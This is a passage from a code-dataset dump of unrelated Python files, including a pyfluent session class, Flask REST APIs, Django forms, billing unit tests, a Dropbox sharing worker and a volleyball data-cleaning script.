is not None:\n for cidr_block in cidr_blocks:\n ipv4_cidrs.add(cidr_block)\n return list(ipv4_cidrs)\n\n\n\ndef extract_all_ipv6_cidrs(data: dict) -> list:\n ipv6_cidrs = set()\n for sg in data.get('security_groups', []):\n for rule in sg.get('ingress_rules', []):\n ipv6_cidr_blocks = rule.get('ipv6_cidr_blocks')\n if ipv6_cidr_blocks is not None:\n for ipv6_cidr_block in ipv6_cidr_blocks:\n ipv6_cidrs.add(ipv6_cidr_block)\n return list(ipv6_cidrs)\n","repo_name":"tecracer/aws-security-group-diagram-from-terraform","sub_path":"generate_diagram.py","file_name":"generate_diagram.py","file_ext":"py","file_size_in_byte":5735,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"34951547172","text":"\n#設置更新日誌iframe\nahktool_iframe_elt=IFRAME(id=\"iframe_ahktool_iframe\",src=\"https://hackmd.io/@papple23g/H1qdYeDtr\")\ndiv_ahktoolIframe_elt=DIV(ahktool_iframe_elt)\n\nahkblockly_iframe_elt=IFRAME(id=\"iframe_ahkblockly_iframe\",src=\"https://hackmd.io/@papple23g/Bk9WKlDtr\")\ndiv_ahkblocklyIframe_elt=DIV(ahkblockly_iframe_elt)\n\n#排版\ndoc['div_subMainPage']<=ahktool_iframe_elt\ndoc['div_subMainPage']<=ahkblockly_iframe_elt\nAddStyle('''\n iframe{\n float: left;\n border: none;\n width: 45%;\n height: 3000px;\n }\n\n @media only screen and (max-width: 911px) {\n iframe{\n width: 90%;\n }\n }\n''')\n","repo_name":"xuwei-bigdata/ahkcompiler","sub_path":"templates/updateDiary.py","file_name":"updateDiary.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29062370597","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom future import standard_library\n\nstandard_library.install_aliases()\n\nimport decimal\n\nimport http.client as http\nimport pytest\nimport hamcrest\nimport mock\n\nfrom balance.constants import (\n InvoiceRefundStatus,\n)\n\nfrom brest.core.tests import security\n\nfrom yb_snout_api.tests_unit.base import TestCaseApiAppBase\nfrom yb_snout_api.utils import context_managers as ctx_util\n# noinspection PyUnresolvedReferences\nfrom yb_snout_api.tests_unit.fixtures.invoice import (\n create_invoice,\n)\n# noinspection PyUnresolvedReferences\nfrom yb_snout_api.tests_unit.fixtures.permissions import create_admin_role\nfrom yb_snout_api.tests_unit.resources.v1.invoice.oebs.common import (\n create_refundable_cpf,\n create_refund,\n)\n\nD = decimal.Decimal\n\n\n@pytest.fixture(name='cpf')\ndef create_cpf(invoice=None):\n invoice = invoice or create_invoice()\n res = create_refundable_cpf(invoice, 666)\n res.invoice.create_receipt(666)\n return res\n\n\n@pytest.mark.slow\n@pytest.mark.invoice_refunds\nclass TestUnlockOebsRefund(TestCaseApiAppBase):\n BASE_API = u'/v1/invoice/unlock-oebs-refund'\n\n @pytest.mark.parametrize(\n 'status_code',\n [\n InvoiceRefundStatus.export_failed,\n InvoiceRefundStatus.failed,\n ],\n )\n def test_ok(self, cpf, status_code):\n refund = create_refund(cpf, 100)\n refund.set_status(status_code, 'some_descr')\n\n response = self.test_client.secure_post(self.BASE_API, data={'refund_id': refund.id})\n hamcrest.assert_that(response.status_code, hamcrest.equal_to(http.OK), 'response code must be OK')\n\n data = response.get_json().get('data')\n hamcrest.assert_that(\n data,\n hamcrest.has_entries({\n 'refundable_amount': '666.00',\n 'status_code': InvoiceRefundStatus.failed_unlocked,\n 'status_descr': 'some_descr',\n }),\n )\n hamcrest.assert_that(\n refund,\n hamcrest.has_properties(\n status_code=InvoiceRefundStatus.failed_unlocked,\n ),\n )\n\n @pytest.mark.parametrize(\n 'status_code, expected_refundable_amount',\n [\n (InvoiceRefundStatus.not_exported, '566.00'),\n (InvoiceRefundStatus.exported, '566.00'),\n (InvoiceRefundStatus.oebs_reconciled, '566.00'),\n (InvoiceRefundStatus.oebs_transmitted, '566.00'),\n (InvoiceRefundStatus.successful, '666.00'),\n (InvoiceRefundStatus.failed_unlocked, '666.00'),\n ],\n )\n def test_fail_status(self, cpf, status_code, expected_refundable_amount):\n refund = create_refund(cpf, 100)\n refund.set_status(status_code)\n\n response = self.test_client.secure_post(self.BASE_API, data={'refund_id': refund.id})\n hamcrest.assert_that(response.status_code, hamcrest.equal_to(http.OK), 'response code must be OK')\n\n data = response.get_json().get('data')\n hamcrest.assert_that(\n data,\n hamcrest.has_entries({\n 'refundable_amount': expected_refundable_amount,\n 'status_code': status_code,\n 'status_descr': None,\n }),\n )\n hamcrest.assert_that(\n refund,\n hamcrest.has_properties(status_code=status_code),\n )\n\n @mock.patch('yb_snout_api.utils.context_managers._new_transactional_session', ctx_util.new_rollback_session)\n def test_fail_access(self, admin_role):\n security.set_roles([admin_role])\n cpf = create_cpf()\n refund = create_refund(cpf, 100)\n refund.set_status(InvoiceRefundStatus.failed)\n response = self.test_client.secure_post(self.BASE_API, data={'refund_id': refund.id})\n\n hamcrest.assert_that(\n response.status_code,\n hamcrest.equal_to(http.FORBIDDEN),\n 'response code must be FORBIDDEN',\n )\n\n hamcrest.assert_that(\n refund,\n hamcrest.has_properties(status_code=InvoiceRefundStatus.failed),\n )\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/tests_unit/resources/v1/invoice/oebs/test_unlock_refund.py","file_name":"test_unlock_refund.py","file_ext":"py","file_size_in_byte":4196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19247819437","text":"__author__ = 'jonathan'\n\nimport _fixtures as models\nfrom lib.rome.core.orm.query import Query\nimport collections\nimport logging\nimport time\n\ncurrent_milli_time = lambda: int(round(time.time() * 1000))\n\n\ndef compute_ip(network_id, fixed_ip_id):\n digits = [fixed_ip_id / 255, fixed_ip_id % 255]\n return \"172.%d.%d.%d\" % (network_id, digits[0], digits[1])\n\n\ndef create_mock_data(network_count=3, fixed_ip_count=200):\n\n for i in range(1, network_count):\n network = models.Network()\n network.id = i\n network.fixed_ips = []\n # network.cidr = IP\n network.save()\n\n for i in range(1, network_count):\n for j in range(1, fixed_ip_count):\n fixed_ip = models.FixedIp()\n fixed_ip.id = i * fixed_ip_count + j\n fixed_ip.id = \"id_%s\" % (fixed_ip.id)\n fixed_ip.network_id = i\n fixed_ip.address = compute_ip(i, j)\n fixed_ip.save()\n pass\n\n\nif __name__ == '__main__':\n\n logging.getLogger().setLevel(logging.DEBUG)\n create_mock_data(5, 50)\n ","repo_name":"BeyondTheClouds/rome","sub_path":"test/nova/bench.py","file_name":"bench.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"} +{"seq_id":"12350366391","text":"from django import forms\nfrom django.forms import ModelForm\nfrom django.contrib.auth.models import User\nfrom application.models import(\n User_Type\n)\nclass UserForm(forms.ModelForm):\n last_name = forms.CharField()\n first_name = forms.CharField()\n class Meta:\n model = User\n fields = [\n 'last_name',\n 'first_name',\n 'username',\n 'password',\n ]\n\nclass User_TypeForm(forms.ModelForm):\n class Meta:\n model = User_Type\n fields = [\n 'classification',\n ]\n","repo_name":"sumania95/amc_lims_2022","sub_path":"application/page_users/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2575191367","text":"\"\"\"Module containing class encapsulating Fluent connection and the Base Session.\"\"\"\nimport importlib\nimport json\nimport logging\nfrom typing import Any, Callable, Optional\nimport warnings\n\nfrom ansys.fluent.core.fluent_connection import FluentConnection\nfrom ansys.fluent.core.journaling import Journal\nfrom ansys.fluent.core.services.batch_ops import BatchOpsService\nfrom ansys.fluent.core.services.datamodel_se import (\n DatamodelService as DatamodelService_SE,\n)\nfrom ansys.fluent.core.services.datamodel_tui import (\n DatamodelService as DatamodelService_TUI,\n)\nfrom ansys.fluent.core.services.events import EventsService\nfrom ansys.fluent.core.services.field_data import FieldData, FieldDataService, FieldInfo\nfrom ansys.fluent.core.services.monitor import MonitorsService\nfrom ansys.fluent.core.services.settings import SettingsService\nfrom ansys.fluent.core.session_shared import ( # noqa: F401\n _CODEGEN_MSG_DATAMODEL,\n _CODEGEN_MSG_TUI,\n)\nfrom ansys.fluent.core.streaming_services.datamodel_event_streaming import (\n DatamodelEvents,\n)\nfrom ansys.fluent.core.streaming_services.events_streaming import EventsManager\nfrom ansys.fluent.core.streaming_services.field_data_streaming import FieldDataStreaming\nfrom ansys.fluent.core.streaming_services.monitor_streaming import MonitorsManager\nfrom ansys.fluent.core.streaming_services.transcript_streaming import Transcript\n\nfrom .rpvars import RPVars\n\ntry:\n from ansys.fluent.core.solver.settings import root\nexcept Exception:\n root = Any\n\ndatamodel_logger = logging.getLogger(\"pyfluent.datamodel\")\nlogger = logging.getLogger(\"pyfluent.general\")\n\n\ndef _parse_server_info_file(file_name: str):\n with open(file_name, encoding=\"utf-8\") as f:\n lines = f.readlines()\n ip_and_port = lines[0].strip().split(\":\")\n ip = ip_and_port[0]\n port = int(ip_and_port[1])\n password = lines[1].strip()\n return ip, port, password\n\n\ndef _get_datamodel_attributes(session, attribute: str):\n try:\n preferences_module = importlib.import_module(\n f\"ansys.fluent.core.datamodel_{session.version}.\" + attribute\n )\n return preferences_module.Root(session._se_service, attribute, [])\n except ImportError:\n datamodel_logger.warning(_CODEGEN_MSG_DATAMODEL)\n\n\ndef _get_preferences(session):\n return _get_datamodel_attributes(session, \"preferences\")\n\n\nclass _IsDataValid:\n def __init__(self, scheme_eval):\n self._scheme_eval = scheme_eval\n\n def __bool__(self):\n return self()\n\n def __call__(self):\n return self._scheme_eval.scheme_eval(\"(data-valid?)\")\n\n\nclass BaseSession:\n \"\"\"Instantiates a Fluent connection.\n\n Attributes\n ----------\n scheme_eval: SchemeEval\n Instance of SchemeEval on which Fluent's scheme code can be\n executed.\n\n Methods\n -------\n create_from_server_info_file(\n server_info_file_name, cleanup_on_exit, start_transcript\n )\n Create a Session instance from server-info file\n\n exit()\n Close the Fluent connection and exit Fluent.\n \"\"\"\n\n def __init__(\n self,\n fluent_connection: FluentConnection,\n remote_file_handler: Optional[Any] = None,\n ):\n \"\"\"BaseSession.\n\n Args:\n fluent_connection (:ref:`ref_fluent_connection`): Encapsulates a Fluent connection.\n remote_file_handler: Supports file upload and download.\n \"\"\"\n self._remote_file_handler = remote_file_handler\n BaseSession.build_from_fluent_connection(self, fluent_connection)\n\n def build_from_fluent_connection(self, fluent_connection: FluentConnection):\n \"\"\"Build a BaseSession object from fluent_connection object.\"\"\"\n self.fluent_connection = fluent_connection\n self.error_state = self.fluent_connection.error_state\n self.scheme_eval = self.fluent_connection.scheme_eval\n self.rp_vars = RPVars(self.scheme_eval.string_eval)\n self._preferences = None\n self.journal = Journal(self.scheme_eval)\n\n self.transcript = self.fluent_connection.create_service(Transcript)\n if fluent_connection.start_transcript:\n self.transcript.start()\n\n self.datamodel_service_tui = self.fluent_connection.create_service(\n DatamodelService_TUI, self.error_state\n )\n\n self.datamodel_service_se = self.fluent_connection.create_service(\n DatamodelService_SE, self.error_state\n )\n self.datamodel_events = DatamodelEvents(self.datamodel_service_se)\n self.datamodel_events.start()\n\n self._batch_ops_service = self.fluent_connection.create_service(BatchOpsService)\n self.events_service = self.fluent_connection.create_service(EventsService)\n self.events_manager = EventsManager(\n self.events_service, self.error_state, self.fluent_connection._id\n )\n\n self._monitors_service = self.fluent_connection.create_service(\n MonitorsService, self.error_state\n )\n self.monitors_manager = MonitorsManager(\n self.fluent_connection._id, self._monitors_service\n )\n\n self.events_manager.register_callback(\n \"InitializedEvent\", self.monitors_manager.refresh\n )\n self.events_manager.register_callback(\n \"DataReadEvent\", self.monitors_manager.refresh\n )\n\n self.events_manager.start()\n\n self._field_data_service = self.fluent_connection.create_service(\n FieldDataService, self.error_state\n )\n self.field_info = FieldInfo(\n self._field_data_service, _IsDataValid(self.scheme_eval)\n )\n self.field_data = FieldData(\n self._field_data_service,\n self.field_info,\n _IsDataValid(self.scheme_eval),\n self.scheme_eval,\n )\n self.field_data_streaming = FieldDataStreaming(\n self.fluent_connection._id, self._field_data_service\n )\n\n self.settings_service = self.fluent_connection.create_service(\n SettingsService, self.scheme_eval, self.error_state\n )\n\n self.health_check_service = fluent_connection.health_check_service\n self.connection_properties = fluent_connection.connection_properties\n\n self.fluent_connection.register_finalizer_cb(\n self.datamodel_service_se.unsubscribe_all_events\n )\n for obj in (\n self.datamodel_events,\n self.transcript,\n self.events_manager,\n self.monitors_manager,\n ):\n self.fluent_connection.register_finalizer_cb(obj.stop)\n\n @property\n def id(self) -> str:\n \"\"\"Return the session ID.\"\"\"\n return self.fluent_connection._id\n\n def start_journal(self, file_name: str):\n \"\"\"Executes tui command to start journal.\"\"\"\n warnings.warn(\"Use -> journal.start()\", DeprecationWarning)\n self.journal.start(file_name)\n\n def stop_journal(self):\n \"\"\"Executes tui command to stop journal.\"\"\"\n warnings.warn(\"Use -> journal.stop()\", DeprecationWarning)\n self.journal.stop()\n\n @classmethod\n def create_from_server_info_file(\n cls, server_info_file_name: str, **connection_kwargs\n ):\n \"\"\"Create a Session instance from server-info file.\n\n Parameters\n ----------\n server_info_file_name : str\n Path to server-info file written out by Fluent server\n **connection_kwargs : dict, optional\n Additional keyword arguments may be specified, and they will be passed to the `FluentConnection`\n being initialized. For example, ``cleanup_on_exit = True``, or ``start_transcript = True``.\n See :func:`FluentConnection initialization `\n for more details and possible arguments.\n\n Returns\n -------\n Session\n Session instance\n \"\"\"\n ip, port, password = _parse_server_info_file(server_info_file_name)\n session = cls(\n fluent_connection=FluentConnection(\n ip=ip, port=port, password=password, **connection_kwargs\n )\n )\n return session\n\n def execute_tui(self, command: str) -> None:\n \"\"\"Executes a tui command.\"\"\"\n self.scheme_eval.scheme_eval(f\"(ti-menu-load-string {json.dumps(command)})\")\n\n def get_fluent_version(self):\n \"\"\"Gets and returns the fluent version.\"\"\"\n return self.scheme_eval.version\n\n def exit(self, **kwargs) -> None:\n \"\"\"Exit session.\"\"\"\n logger.debug(\"session.exit() called\")\n self.fluent_connection.exit(**kwargs)\n\n def force_exit(self) -> None:\n \"\"\"Terminate session.\"\"\"\n self.fluent_connection.force_exit()\n\n def force_exit_container(self) -> None:\n \"\"\"Terminate Docker container session.\"\"\"\n self.fluent_connection.force_exit_container()\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type: Any, exc_val: Any, exc_tb: Any):\n \"\"\"Close the Fluent connection and exit Fluent.\"\"\"\n logger.debug(\"session.__exit__() called\")\n self.exit()\n\n def upload(self, file_name: str, on_uploaded: Optional[Callable] = None):\n \"\"\"Upload a file on the server if `PyPIM` is configured.\"\"\"\n return self._remote_file_handler.upload(file_name, on_uploaded)\n\n def download(self, file_name: str, before_downloaded: Optional[Callable] = None):\n \"\"\"Download a file from the server if `PyPIM` is configured.\"\"\"\n return self._remote_file_handler.download(file_name, before_downloaded)\n","repo_name":"ansys/pyfluent","sub_path":"src/ansys/fluent/core/session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":9749,"program_lang":"python","lang":"en","doc_type":"code","stars":175,"dataset":"github-code","pt":"3"} +{"seq_id":"17608205264","text":"import numpy as np\n\ndef getDirection(phi, theta):\n return np.array([\n np.sin(theta) * np.sin(phi),\n np.sin(theta) * np.cos(phi),\n np.cos(theta)], dtype=float)\n\ndef getDirections(phi_array, theta_array):\n directions = np.zeros([phi_array.shape[0], theta_array.shape[0], 3])\n for i in range(phi_array.shape[0]):\n for j in range(theta_array.shape[0]):\n directions[i][j] = getDirection(phi_array[i], theta_array[j])\n\n return directions\n\ndef getParam(direction):\n norm = np.linalg.norm(direction)\n\n if np.linalg.norm(direction) == 0:\n print('[ERROR][direction::getParam]')\n print('\\t direction is 0 vector!')\n return None, None\n\n norm_direction = np.array(direction) / norm\n\n theta = np.arccos(norm_direction[2])\n\n sin_theta = np.sin(theta)\n if sin_theta == 0:\n return 0, theta\n\n phi = np.arctan2(norm_direction[0] / sin_theta, norm_direction[1] / sin_theta)\n if phi < 0:\n phi += 2.0 * np.pi\n\n return phi, theta\n","repo_name":"565353780/spherical-harmonics","sub_path":"spherical_harmonics/Method/direction.py","file_name":"direction.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3669125679","text":"from flask import (\n Flask,\n render_template,\n request,\n Response,\n flash,\n redirect,\n url_for,\n jsonify,\n abort)\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate\nfrom flask_cors import CORS\nfrom auth import (\n AuthError,\n get_token_auth_header,\n verify_decode_jwt,\n check_permissions,\n requires_auth)\n\nfrom models import setup_db, db, Actor, Movie, database_path\n\n\n# Run Flask app\ndef create_app(test_config=None):\n app = Flask(__name__)\n\n setup_db(app, database_path)\n\n # app.config['SQLALCHEMY_DATABASE_URI'] = database_path\n # app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\n db = SQLAlchemy(app)\n\n migrate = Migrate(app, db)\n\n CORS(app)\n\n # CREATE ROUTES\n\n # GET REQUESTS\n\n @app.route('/actors')\n @requires_auth('get:actors')\n def get_actors(jwt):\n try:\n actor_list = Actor.query.all()\n actors = []\n\n for actor in actor_list:\n actors.append(actor.format())\n except:\n abort(500)\n finally:\n db.session.close()\n\n return jsonify(actors)\n\n @app.route('/movies')\n @requires_auth('get:movies')\n def get_movies(jwt):\n try:\n movie_list = Movie.query.all()\n movies = []\n\n # Use helper method to format movie records\n for movie in movie_list:\n movies.append(movie.format())\n except:\n abort(500)\n finally:\n db.session.close()\n\n return jsonify(movies)\n\n # Add POST requests\n\n @app.route('/movies', methods=[\"POST\"])\n @requires_auth('add:movie')\n def add_movie(jwt):\n try:\n movie_data = request.get_json()\n\n new_movie = Movie(\n title=movie_data['title'],\n release_date=movie_data['release_date']\n )\n\n new_movie.insert()\n\n except:\n db.session.rollback()\n abort(500)\n finally:\n db.session.close()\n\n return \"Success\", 201\n\n @app.route('/actors', methods=['POST'])\n @requires_auth('add:actor')\n def add_actor(jwt):\n try:\n actor_data = request.get_json()\n\n new_actor = Actor(\n name=actor_data['name'],\n age=actor_data['age'],\n gender=actor_data['gender'])\n\n new_actor.insert()\n\n except:\n db.session.rollback()\n abort(500)\n finally:\n db.session.close()\n\n return \"Success\", 201\n\n # Add Patch requests\n\n # Add actor update\n # Casting diretor + Executive producer\n\n @app.route('/actors/', methods=['PATCH'])\n @requires_auth('update:actor')\n def update_actor(jwt, actor_id):\n try:\n actor = Actor.query.filter_by(id=actor_id).one_or_none()\n\n if actor is None:\n abort(404)\n\n actor_data = request.get_json()\n\n for field in ['name', 'age', 'gender']:\n if field in actor_data:\n setattr(actor, field, actor_data[field])\n\n actor.update()\n\n except:\n db.session.rollback()\n abort(500)\n finally:\n db.session.close()\n\n return \"Success\", 201\n\n # PATCH Update movies\n # Casting diretor + Executive producer\n @app.route('/movies/', methods=['PATCH'])\n @requires_auth('update:movie')\n def update_movie(jwt, movie_id):\n\n try:\n movie = Movie.query.filter_by(id=movie_id).one_or_none()\n movie_data = request.get_json()\n\n if movie is None:\n abort(404)\n\n for field in ['title', 'release_date']:\n if field in movie_data:\n setattr(movie, field, movie_data[field])\n\n movie.update()\n\n except:\n db.session.rollback()\n abort(500)\n finally:\n db.session.close()\n\n return \"Success\", 201\n\n # Create DELETE request to delete an actor\n # Executive Producer role\n\n @app.route('/actors/', methods=[\"DELETE\"])\n @requires_auth('delete:actor')\n def delete_actor(jwt, actor_id):\n try:\n actor = Actor.query.filter_by(id=actor_id).one_or_none()\n\n if actor is None:\n abort(402)\n\n actor.delete()\n\n except:\n abort(500)\n finally:\n db.session.close()\n\n return \"Success\", 200\n\n # Create DELETE request to delete an movie\n # Executive Producer role\n\n @app.route('/movies/', methods=[\"DELETE\"])\n @requires_auth('delete:movie')\n def delete_movie(jwt, movie_id):\n\n try:\n movie = Movie.query.filter_by(id=movie_id).one_or_none()\n\n if movie is None:\n abort(402)\n\n movie.delete()\n\n except:\n abort(500)\n finally:\n db.session.close()\n\n return \"Success\", 200\n\n return app\n\napp = create_app()\n\n# Add error handlers\n\n\n# 400\n@app.errorhandler(400)\ndef unauthorized(error):\n return jsonify({\n \"success\": False,\n \"error\": 400,\n \"message\": \"Unauthorized - Add Proper Credentials\"\n }), 400\n\n\n# 401\n@app.errorhandler(401)\ndef bad_request(error):\n return jsonify({\n \"success\": False,\n \"error\": 401,\n \"message\": \"Bad request\"\n }), 401\n\n\n# 404\n@app.errorhandler(404)\ndef not_found(error):\n return jsonify({\n \"success\": False,\n \"error\": 404,\n \"message\": \"Resource not found\"\n }), 404\n\n\n# 403\n@app.errorhandler(403)\ndef forbidden(error):\n return jsonify({\n \"success\": False,\n \"error\": 403,\n \"message\": \"Forbidden\"\n }), 403\n\n\n# 500\n@app.errorhandler(500)\ndef server_error(error):\n return jsonify({\n \"success\": False,\n \"error\": 500,\n \"message\": \"Internal Server Error\"\n }), 500\n\n\n# 405\n@app.errorhandler(405)\ndef bad_method(error):\n return jsonify({\n \"success\": False,\n \"error\": 405,\n \"message\": \"Method Not Allowed\"\n }), 405\n","repo_name":"Sglass03/Capstone","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39427145032","text":"from flask import jsonify\nfrom flask_restful import abort as fr_abort, Resource\nfrom flask_login import current_user\nfrom parsers import get_comment_parser, add_comment_parser, put_comment_parser\nfrom tools.image_to_byte_array import image_to_byte_array\nfrom tools.hex_image_to_file_storage import hex_image_to_file_storage\nfrom tools.constants import COMMENTS_IMAGES_DIR\nfrom tools.errors import CommentNotFoundError, ArticleNotFoundError, \\\n ForbiddenToUserError, IncorrectImageError\nfrom tools.check_authorization import check_authorization\nfrom model_workers.comment import CommentModelWorker\n\n\nclass CommentResource(Resource):\n \"\"\"Ресурс для взаимодействия с комментариями через API\"\"\"\n def get(self, comment_id):\n \"\"\"Получение комментария\"\"\"\n args = get_comment_parser.parser.parse_args()\n try:\n comment = CommentModelWorker.get_comment(comment_id, args[\"get_field\"])\n except CommentNotFoundError:\n fr_abort(404, message=\"Comment not found\")\n else:\n if \"image\" in comment:\n if comment[\"image\"] is not None:\n comment[\"image\"] = image_to_byte_array(\n f\"{COMMENTS_IMAGES_DIR}/{comment['image']}\"\n ).hex()\n return jsonify({\"comment\": comment})\n\n def put(self, comment_id):\n \"\"\"Редактирование комментария\"\"\"\n args = put_comment_parser.parser.parse_args()\n check_authorization()\n comment_data = {\"text\": args[\"text\"]}\n try:\n if args.get(\"image\") is not None:\n comment_data[\"image\"] = hex_image_to_file_storage(args[\"image\"])\n CommentModelWorker.edit_comment(comment_id, current_user.id, comment_data)\n except CommentNotFoundError:\n fr_abort(404, message=\"Comment not found\")\n except ForbiddenToUserError:\n fr_abort(403, message=\"Forbidden\")\n except IncorrectImageError:\n fr_abort(400, message=\"Incorrect image\")\n else:\n return jsonify({\"success\": \"ok\"})\n\n def delete(self, comment_id):\n \"\"\"Удаление комментария\"\"\"\n check_authorization()\n try:\n CommentModelWorker.delete_comment(comment_id, current_user.id)\n except CommentNotFoundError:\n fr_abort(404, message=\"Comment not found\")\n except ForbiddenToUserError:\n fr_abort(403, message=\"Forbidden\")\n else:\n return jsonify({\"success\": \"ok\"})\n\n\nclass CommentsListResource(Resource):\n \"\"\"Ресурс для взаимодействия с комментариями через API\"\"\"\n def get(self):\n \"\"\"Получение списка комментариев\"\"\"\n args = get_comment_parser.find_parser.parse_args()\n comments = CommentModelWorker.get_all_comments(args[\"get_field\"], args[\"author\"],\n args[\"article\"], args[\"limit\"],\n args[\"offset\"])\n if \"image\" in args[\"get_field\"]:\n for comment in comments:\n if comment[\"image\"] is not None:\n comment[\"image\"] = image_to_byte_array(\n f\"{COMMENTS_IMAGES_DIR}/{comment['image']}\"\n ).hex()\n return jsonify({\"comments\": comments})\n\n def post(self):\n \"\"\"Добавление комментария\"\"\"\n args = add_comment_parser.parser.parse_args()\n check_authorization()\n comment_data = {\n \"author\": current_user.id,\n \"article_id\": args[\"article_id\"],\n \"text\": args[\"text\"]\n }\n try:\n if args[\"image\"] is not None:\n comment_data[\"image\"] = hex_image_to_file_storage(args[\"image\"])\n CommentModelWorker.new_comment(comment_data)\n except ArticleNotFoundError:\n fr_abort(404, message=f\"Article not found\")\n except IncorrectImageError:\n fr_abort(400, message=\"Incorrect image\")\n else:\n return jsonify({\"success\": \"ok\"})\n","repo_name":"KosenokIvan/articles_website","sub_path":"resources/comments.py","file_name":"comments.py","file_ext":"py","file_size_in_byte":4217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19898460504","text":"# Find Single Number\n# Given a non-empty array of integers nums, every element appears twice except for one. Find that single one.\n# Example 1:\n# Input: nums = [2,2,1]\n# Output: 1\n# Example 2:\n# Input: nums = [4,1,2,1,2]\t\t\t\t\t\n# Output: 4\n# Example 3:\n# Input: nums = [1]\n# Output: 1\n\nlist = [1,2,2]\n\ndef whiteboard(li):\n for i in li:\n if li.count(i) != 2:\n return i\n\nprint(whiteboard(list))","repo_name":"cuadchris/Coding-Temple-Homework","sub_path":"week5/day2/whiteboard.py","file_name":"whiteboard.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3780510592","text":"from core.Worker.base import Base\nfrom core.DropBox.sharing import Sharing\nfrom config import TEAM_OWNER_AUTHORIZATION_CODE, SHARING_DOCUMENT_ID, SHARING_DOCUMENT_ROOT\nfrom pprint import pprint\n\n\nclass SharingWorker(Base):\n async def work(self, authorization_token, mod, args):\n mod_switch = await self.pre_check(mod)\n self.log.detail_info(\"Start sharing\")\n sharing = Sharing(authorization_token=authorization_token)\n if mod_switch[0] == \"team_owner\":\n if mod_switch[1] == \"add_folder_member\":\n return await sharing.add_folder_member(SHARING_DOCUMENT_ID, args['members'], args['custom_message'])\n elif mod_switch[1] == \"share_folder\":\n return await sharing.share_folder(args['path'])\n\n elif mod_switch[0] == \"team_member\":\n if mod_switch[1] == \"add_file_member\":\n return await sharing.add_file_member(SHARING_DOCUMENT_ROOT + args['file'],\n args['members'], args['custom_message'])\n elif mod_switch[1] == \"create_shared_link\":\n return await sharing.create_shared_link_with_settings(SHARING_DOCUMENT_ROOT + args['path'])\n\n else:\n self.log.error_then(\"Sniper only have three mod to share files:\")\n self.log.error_then(\"1. team_owner\")\n self.log.error_then(\"2. team_member\")\n self.log.error_info(f\"There\\'s no mod called {mod_switch[0]}, please check your code!\")\n\n async def pre_check(self, mod):\n mod_switch = mod.split('.')\n if len(mod_switch) != 2:\n self.log.error_info(f\"There is no sharing mod name {mod}\")\n if mod_switch[0] == \"team_owner\":\n if TEAM_OWNER_AUTHORIZATION_CODE == \"\":\n self.log.error_info(\"You have not set a team-owner-auth-code in config.py!\")\n if SHARING_DOCUMENT_ID == \"\":\n self.log.error_info(\"You have not set a sharing document id in config.py\")\n elif mod_switch[0] == \"team_member\":\n if SHARING_DOCUMENT_ID == \"\":\n self.log.error_info(\"You have not set a sharing document id in config.py\")\n return mod_switch\n","repo_name":"Lucifaer/Sniper","sub_path":"core/Worker/sharing.py","file_name":"sharing.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"14195241020","text":"import json\nimport os\nimport numpy as np\nfrom elosports.elo import Elo\nfrom collections import Counter\nfrom datetime import datetime as dt\n\n# Read in path names into a list\ndirectory = os.fsencode(\n \"/Users/cameron/Documents/SMU_DS/Capstone/SMU_Capstone_Project/Raw Data/Match Data/\"\n)\nfile_path_holder = []\nfor file in os.listdir(directory):\n filename = os.fsdecode(file)\n if filename.endswith(\".json\"):\n file_path_holder.append(str(directory)[2:-1] + str(filename))\n\n# Extend contents of all files into a list\n# MUST SORT FILE PATHS OR ORDER COULD CHANGE\nfile_path_holder = sorted(file_path_holder)\nfull_vball_data = []\nfor path in file_path_holder:\n file = open(path)\n full_vball_data.extend(json.load(file))\n file.close()\n \n### Begin Organizing Data\n\n# Copy original data to file that will be cleaned\n# IMPORTANT: Need deepcopy due to nested nature of data (copy will cause issues because it is meant for shallow objects)\nimport copy\nclean_vball_data = copy.deepcopy(full_vball_data)\nclean_vball_data[0][\"divisions\"][0]['googleLocation'][0]\nclean_vball_data[0]['tournament']\nclean_vball_data[0].keys()\nclean_vball_data[0][\"divisions\"][0]['timeZoneName']\n\n\n# Change playerProfileIds to playerIds for consistency and count number of changes\n# After filtering for 'Girls' and 'Juniors' there are no changes needed\n# 11,893 values with incorrect keys that were changed\nkey_changes=[]\nfor tournaments in clean_vball_data:\n for divisions in tournaments.get(\"divisions\"):\n if (divisions.get(\"gender\") == \"Girls\") and (\n divisions.get(\"ageType\") == \"Juniors\"\n ):\n for matches in divisions.get(\"matches\"):\n if \"playerProfileIds\" in matches.keys():\n key_changes.append(matches)\n matches[\"playerIds\"] = matches.pop(\"playerProfileIds\")\nlen(key_changes)\n\n# 36,986 matches for 'Girls' and 'Juniors'\n# 36,272 matches that are 2 vs 2\n# Warning: 1312 matches are missing scores\n# 173,080 rows recorded (each game appears 4 times)\nclean_vball_games = []\nfor tournaments in clean_vball_data:\n for divisions in tournaments.get(\"divisions\"):\n if (divisions.get(\"gender\") == \"Girls\") and (\n 